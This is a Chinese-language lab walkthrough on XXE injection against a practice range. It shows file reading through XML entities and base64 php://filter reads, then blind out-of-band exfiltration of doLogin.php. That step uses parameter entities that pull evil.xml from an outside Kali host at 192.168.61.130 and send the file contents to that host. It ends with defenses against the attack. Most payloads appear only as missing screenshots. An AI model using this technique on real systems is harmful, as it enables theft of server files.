XXE漏洞【回显读取文件和无回显读取文件】

(若出现排版,乱码等问题请看有道文档)

文档:XXE漏洞【回显读取文件和无回显读取文?..
链接:http://note.youdao.com/noteshare?id=b41700dbd75216812521ad5179e7291b&sub=12F412E07EDC4BDA9C5ABEF0CAD48CB7

 

 

靶场环境

XXE靶场源码:https://github.com/c0ny1/xxe-lab

phpstudy

文件读取

 

靶场打开后界面如下:

XXE漏洞【回显读取文件和无回显读取文件】_第1张图片

用BURP抓包

XXE漏洞【回显读取文件和无回显读取文件】_第2张图片

从数据包中可以看到,数据是利用XML进行传输

把包发送出去

XXE漏洞【回显读取文件和无回显读取文件】_第3张图片

可以看到响应包的内容为usrename

那我们可以使用XML DTD 进行文件读取

我们现在C盘创建一个test.txt

XXE漏洞【回显读取文件和无回显读取文件】_第4张图片

我们把请求包的XML内容进行更改,尝试读取C盘下的test.txt文件

XXE漏洞【回显读取文件和无回显读取文件】_第5张图片

接下来我们尝试读取PHP文件,因为PHP的代码可能因为浏览器会解析的原因导致无法显示

XXE漏洞【回显读取文件和无回显读取文件】_第6张图片

这里我们就需要进行base64编码来显示

XXE漏洞【回显读取文件和无回显读取文件】_第7张图片

解码后即是PHP代码的内容

XXE漏洞【回显读取文件和无回显读取文件】_第8张图片

这是有回显的XXEZ注入。

我们编辑下源码,把报错和结果输出都禁止掉

XXE漏洞【回显读取文件和无回显读取文件】_第9张图片

然后我们再次进行注入尝试就不会得到结果

XXE漏洞【回显读取文件和无回显读取文件】_第10张图片

这个时候我们就要进行参数实体的注入

XXE漏洞【回显读取文件和无回显读取文件】_第11张图片

我们先在kail(192.168.61.130)上开启apache服务

%dtd; %send; ]>

% 表示参数实体

第3句代码意思:定义参数实体file   SYSTEM表示参数实体引用外部实体内容  内容为“php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php”

第4句代码意思:定义参数实体dtd 内容为    http://192.168.61.130/evil.xml 里面的内容

第5句代码意思:执行%dtd的代码

第6句代码意思:执行%send代码

evil.xml

然后我们监控下apache的访问日志

然后我们发包

XXE漏洞【回显读取文件和无回显读取文件】_第12张图片

然后我们就能看到apache的访问请求,content参数的内容即为编码后的doLogin.php的代码

XXE漏洞【回显读取文件和无回显读取文件】_第13张图片

 

XML可用的外部实体类型

 

XXE漏洞【回显读取文件和无回显读取文件】_第14张图片

 

防御方法

1、使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

python

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据

参考资料

1. XXE漏洞以及Blind XXE总结:https://blog.csdn.net/u011721501/article/details/43775691

 

你可能感兴趣的:(XXE)